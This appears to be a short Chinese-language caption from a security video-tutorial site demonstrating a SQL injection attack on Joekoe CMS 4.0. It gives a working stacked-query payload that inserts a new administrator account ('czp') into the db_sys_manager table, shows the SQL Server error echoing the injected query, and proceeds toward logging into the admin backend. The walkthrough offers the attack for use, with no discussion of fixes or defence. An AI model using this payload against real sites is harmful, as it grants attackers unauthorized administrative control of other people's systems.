动画介绍：构造函数：
提交“;insert into db_sys_manager (m_user,m_password,m_grade,m_hidden) values(’czp’,’526a568e057b69f9’,10,0);--”
定义：在数据库池里新建一个用户为czp密码为czp的用户
这句注入语句的意思是..执行一句SQL 语句..在数据库里加入一个账户,而且是管理员的账户
为:czp 密码:526a568e057b69f9 这是用MD5加密了...
密码和用户都是:czp
好我们来执行下.
Joekoe CMS 4.0
错误信息:
select count(*) from db_sys_review where nsort=’article;insert into db_sys_manager (m_user,m_password,m_grade,m_hidden) values(’czp’,’526a568e057b69f9’,10,0);--’ and iid=0 and r_hidden=1
原始错误:
Error #-2147217900, 第 1 行: ’czp’ 附近有语法错误。 Microsoft OLE DB Provider for SQL Server
也报错 因为我刚刚已经执行了 所以..同样的语句就会出错报错..
下面我们登陆后台.... |
安全中国首页 > 动画中心 > 综合注入动画
